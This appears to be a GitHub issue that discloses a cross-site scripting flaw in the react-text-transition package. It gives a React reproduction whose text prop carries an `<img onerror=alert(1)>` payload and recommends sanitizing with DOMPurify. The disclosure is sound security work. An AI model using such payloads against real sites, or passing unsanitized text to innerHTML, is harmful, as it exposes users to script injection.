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XSS vulnerability in [email protected] #71

@gtsp233

Description

@gtsp233

I've found a Cross-Site Scripting (XSS) vulnerability in this package

Vulnerability Details:

  • Severity: High/Critical
  • Description: There's a risk of malicious script execution when an adversory controls the text.

Steps to Reproduce:
In a React.js project:

import React from "react";
import TextTransition, { presets } from "react-text-transition";

const App = () => {
    const [index, setIndex] = React.useState(0);

    React.useEffect(() => {
        const intervalId = setInterval(() =>
            setIndex(index => index + 1),
            3000 // every 3 seconds
        );
        return () => clearTimeout(intervalId);
    }, []);

    return (
        <h1>
            <TextTransition
                text={`<img src='' onerror=alert(1)></img>`}
                springConfig={presets.wobbly}
            />
        </h1>
    );
};

export default App

Suggested Fix or Mitigation:
It is best practice to sanitize the text before passing it to innerHTML. Please consider sanitizing it using popular sanitization libraries, e.g., dompurify, to prevent any XSS. Thanks!

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